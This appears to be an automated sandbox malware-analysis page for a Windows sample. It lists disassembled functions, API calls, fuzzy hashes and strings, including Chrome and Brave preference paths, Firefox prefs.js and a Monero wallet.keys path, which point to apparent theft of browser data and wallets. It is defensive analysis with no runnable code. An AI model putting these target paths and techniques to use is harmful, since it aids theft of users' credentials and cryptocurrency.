Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 3cb181106dc2143714da9fff38ba15157bbd4b72375a2ff9bdbfeec4e6176551
Instruction ID: 045d0e61bbe8f9ba85a7f765f43726aa8b112e3675c39f34956134043da08184
Opcode Fuzzy Hash: 3cb181106dc2143714da9fff38ba15157bbd4b72375a2ff9bdbfeec4e6176551
Instruction Fuzzy Hash: D8424471910108ABDB18FBB4DC96EED737DFB54300F404568B50AE6691EE34AB49CBA3

Function 008B4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008B492C
FindFirstFileA.KERNEL32(?,?), ref: 008B4943
StrCmpCA.SHLWAPI(?,008C0FDC), ref: 008B4971
StrCmpCA.SHLWAPI(?,008C0FE0), ref: 008B4987
FindNextFileA.KERNEL32(000000FF,?), ref: 008B4B7D
FindClose.KERNEL32(000000FF), ref: 008B4B92

Strings

%s\%s, xrefs: 008B49A4
%s\*, xrefs: 008B4920
%s\%s, xrefs: 008B49FB

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 37a8211af8832bebe236f8c31327bf42b6fef1ed3686ba873bdbed278993fca4
Instruction ID: 20220101d80093af501a1525e016a42ecf25698155a93a8a49319ae1883cd1d8
Opcode Fuzzy Hash: 37a8211af8832bebe236f8c31327bf42b6fef1ed3686ba873bdbed278993fca4
Instruction Fuzzy Hash: 2C6122B1910218ABCB24EBE4DC85FEA777CFB58700F04858CB649D6141EA75EB858F92

Function 008B4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 008B4580
RtlAllocateHeap.NTDLL(00000000), ref: 008B4587
wsprintfA.USER32 ref: 008B45A6
FindFirstFileA.KERNEL32(?,?), ref: 008B45BD
StrCmpCA.SHLWAPI(?,008C0FC4), ref: 008B45EB
StrCmpCA.SHLWAPI(?,008C0FC8), ref: 008B4601
FindNextFileA.KERNEL32(000000FF,?), ref: 008B468B
FindClose.KERNEL32(000000FF), ref: 008B46A0
lstrcat.KERNEL32(?,0142F0D8), ref: 008B46C5
lstrcat.KERNEL32(?,0142D110), ref: 008B46D8
lstrlen.KERNEL32(?), ref: 008B46E5
lstrlen.KERNEL32(?), ref: 008B46F6

Strings

%s\*, xrefs: 008B459A
%s\%s, xrefs: 008B461B

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 717dd2415c0e56a4e92eda9be53aa0d3aab7b12a3ceef3fd3f344cc8632ad97a
Instruction ID: f670dfc0e2ecbeb2ab2ffec243740e5e078d8819b65041b4f172fdfa597c7549
Opcode Fuzzy Hash: 717dd2415c0e56a4e92eda9be53aa0d3aab7b12a3ceef3fd3f344cc8632ad97a
Instruction Fuzzy Hash: 145156B59102189BDB24EBB4DC89FE9777CFB64300F404588B609D6191EF74AB85CF92

Function 008B3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008B3EC3
FindFirstFileA.KERNEL32(?,?), ref: 008B3EDA
StrCmpCA.SHLWAPI(?,008C0FAC), ref: 008B3F08
StrCmpCA.SHLWAPI(?,008C0FB0), ref: 008B3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 008B406C
FindClose.KERNEL32(000000FF), ref: 008B4081

Strings

%s\%s, xrefs: 008B3EB7

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 49f34f55e9b254fb9ee7f57bbd513b0afbf9cb575da7d422cd862490ba36d077
Instruction ID: 8dfb8ce0b9c953336a1c92520c34058626e1f2f47457dd09806d4317d9ec5063
Opcode Fuzzy Hash: 49f34f55e9b254fb9ee7f57bbd513b0afbf9cb575da7d422cd862490ba36d077
Instruction Fuzzy Hash: C95145B6900218ABCB24EBB4DC85EEA777CFB54700F00458CB659D6140DB75EB86CF52

Function 00C6BA4D Relevance: 19.1, Strings: 14, Instructions: 1594COMMON

Download Yara Rule

Strings

\d?y, xrefs: 00C6BE67
wT, xrefs: 00C6BC50
B|}, xrefs: 00C6C32B
2~^{, xrefs: 00C6BE79
`U8', xrefs: 00C6C864
}\?, xrefs: 00C6CD8E
Ek, xrefs: 00C6C454
J~v, xrefs: 00C6C4EF
|P, xrefs: 00C6C7B8
n?o, xrefs: 00C6CC7A
\6^f, xrefs: 00C6C88A
B_, xrefs: 00C6CBC7
\o_, xrefs: 00C6C359
zAw, xrefs: 00C6C925

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: n?o$2~^{$B|}$J~v$\6^f$\d?y$`U8'$zAw$|P$}\?$B_$Ek$\o_$wT
API String ID: 0-2021813861
Opcode ID: f1de7acf885e0d1c5797ee4d3da9ba2f44fca9ed0fa748615806d529d1f5f801
Instruction ID: dc007a0bdcc966748144e0480215e973562676c383422d2cb251780808035754
Opcode Fuzzy Hash: f1de7acf885e0d1c5797ee4d3da9ba2f44fca9ed0fa748615806d529d1f5f801
Instruction Fuzzy Hash: CEB22AF39082049FE304AE2DDC8566AFBE9EF94720F1A4A3DE9C4D3744E63599058793

Function 008AED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008AED3E
FindFirstFileA.KERNEL32(?,?), ref: 008AED55
StrCmpCA.SHLWAPI(?,008C1538), ref: 008AEDAB
StrCmpCA.SHLWAPI(?,008C153C), ref: 008AEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 008AF2AE
FindClose.KERNEL32(000000FF), ref: 008AF2C3

Strings

%s\*.*, xrefs: 008AED32

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: a4aa2eacbe95616077f1654266a5fbb51fb479fe52f96c1ef9e2602bfc2a89ba
Instruction ID: 65c5054547cc38b3a23f184bbdef3623e51e96cc2efd95dadfd8c9fd09f26729
Opcode Fuzzy Hash: a4aa2eacbe95616077f1654266a5fbb51fb479fe52f96c1ef9e2602bfc2a89ba
Instruction Fuzzy Hash: 08E1C271911118AAEB68FB64DC91EEE7338FF54300F4045A9B51AE2552EE306F8ACF53

Function 008AF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008C15B8,008C0D96), ref: 008AF71E
StrCmpCA.SHLWAPI(?,008C15BC), ref: 008AF76F
StrCmpCA.SHLWAPI(?,008C15C0), ref: 008AF785
FindNextFileA.KERNEL32(000000FF,?), ref: 008AFAB1
FindClose.KERNEL32(000000FF), ref: 008AFAC3

Strings

prefs.js, xrefs: 008AF812

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 8310bcf1ca3c1350c5ae10234a4becf2f5e2fa2ddf2dc7b60a80f0c47243736d
Instruction ID: 8ddaca6474c577d6884cf91786a9d75c365997ef946a355da4fafd8f384d9341
Opcode Fuzzy Hash: 8310bcf1ca3c1350c5ae10234a4becf2f5e2fa2ddf2dc7b60a80f0c47243736d
Instruction Fuzzy Hash: 17B14371900118ABDB28FF64DC95EEE7379FF55300F4081A8A50AD6692EF306B49CB93

Function 008A16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008C510C,?,?,?,008C51B4,?,?,00000000,?,00000000), ref: 008A1923
StrCmpCA.SHLWAPI(?,008C525C), ref: 008A1973
StrCmpCA.SHLWAPI(?,008C5304), ref: 008A1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 008A1D40
DeleteFileA.KERNEL32(00000000), ref: 008A1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 008A1E20
FindClose.KERNEL32(000000FF), ref: 008A1E32

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Strings

\*.*, xrefs: 008A17F1

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: e6ecd7b2711d4ddf404c4e4cfbb383ad273fa3e7b46fb637d4b76744e1da06f9
Instruction ID: 1ebb2f53ac2fd84ece084e723e1441204870c6c449a884d3b09e7ca83f1d2450
Opcode Fuzzy Hash: e6ecd7b2711d4ddf404c4e4cfbb383ad273fa3e7b46fb637d4b76744e1da06f9
Instruction Fuzzy Hash: E812E271910118AADB29EB64CCA5EEE7378FF54300F4041A9B516E6691EF306F89CF92

Function 008ADE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,008C0C2E), ref: 008ADE5E
StrCmpCA.SHLWAPI(?,008C14C8), ref: 008ADEAE
StrCmpCA.SHLWAPI(?,008C14CC), ref: 008ADEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 008AE3E0
FindClose.KERNEL32(000000FF), ref: 008AE3F2

Strings

\*.*, xrefs: 008ADE26

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 6e18b096f6a1d246760e2a5cd6affde6549abbb30db2f511b1cff009303d5c14
Instruction ID: f1ccb4e7fe07b3e30e433931335f25d1e3f7ef307b6edcb8040b58080be41e2c
Opcode Fuzzy Hash: 6e18b096f6a1d246760e2a5cd6affde6549abbb30db2f511b1cff009303d5c14
Instruction Fuzzy Hash: 08F18271814118AADB2DEB64CCA5EEE7338FF54300F8041E9A41AE6591EF346B4ACF57

Function 00C6D61F Relevance: 14.1, Strings: 10, Instructions: 1624COMMON

Download Yara Rule

Strings

P^O, xrefs: 00C6E947
_~wX, xrefs: 00C6E830
+_{, xrefs: 00C6DB7B
fP=|, xrefs: 00C6E9D5
T6_k, xrefs: 00C6E462, 00C6E5F0, 00C6E6FB, 00C6E77F, 00C6E79B, 00C6E7B1, 00C6E801, 00C6E87E, 00C6E8E2, 00C6E97C, 00C6E9D4
bfO, xrefs: 00C6E236
txw\, xrefs: 00C6E911
z\_, xrefs: 00C6DB90
F/\|, xrefs: 00C6DAF7
0_{, xrefs: 00C6DB68

Memory Dump Source

Source File: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +_{$0_{$F/\|$P^O$T6_k$_~wX$bfO$fP=|$txw\$z\_
API String ID: 0-1473951366
Opcode ID: 6cee983ba22f08d9b03edef08684f358df010db00b49d8305a8dd4d71e30bf4c
Instruction ID: 861e00509151ff1e5c368b98d3a93d5b5bcf091119c501335d1a781a508d47c3
Opcode Fuzzy Hash: 6cee983ba22f08d9b03edef08684f358df010db00b49d8305a8dd4d71e30bf4c
Instruction Fuzzy Hash: 3EB228F3A082009FE7046E2DEC8577ABBE5EF94720F1A4A3DE6C4C7744E63598058697

Function 008ADA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

